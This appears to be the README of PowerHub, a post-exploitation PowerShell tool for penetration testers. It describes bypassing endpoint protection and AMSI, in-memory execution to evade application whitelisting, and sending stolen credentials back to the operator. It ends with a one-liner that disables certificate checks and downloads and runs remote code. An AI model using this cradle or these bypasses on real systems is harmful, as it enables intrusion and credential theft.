PowerHub

PowerHub is a convenient post exploitation tool for PowerShell which aids a pentester in transferring data, in particular code which may get flagged by endpoint protection. Features:

• Fileless
• Stateless
• Cert pinning
• String "obfuscation" by RC4 encryption
• Choose your AMSI Bypass
• Transparent aliases for in-memory execution of C# programs

During an engagement where you have a test client available, one of the first things you want to do is run SharpHound, Seatbelt, PowerUp, Invoke-PrivescCheck or PowerSploit. So you need to download the files, mess with endpoint protection, disable the execution policy, etc. PowerHub provides an (almost) one-click-solution for this. Oh, and you can also run arbitrary binaries (PE and shell code) entirely in-memory using PowerSploit's modules, which is sometimes useful to bypass application whitelisting.

Your loot (Kerberos tickets, passwords, etc.) can be easily transferred back either as a file or a text snippet, via the command line or the web interface. PowerHub also helps with collaboration in case you're a small team.

Here is a simple example (grab information about local groups with PowerView and transfer it back):

PS C:\Users\avollmer> [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$Nxois='bZeVBC4vZfakT5SmCcaFam6IRY6UNLnC';$Plukgmio=New-Object Net.WebClient;IEX $Plukgmio.DownloadString('https://192.168.11.2:8443/')
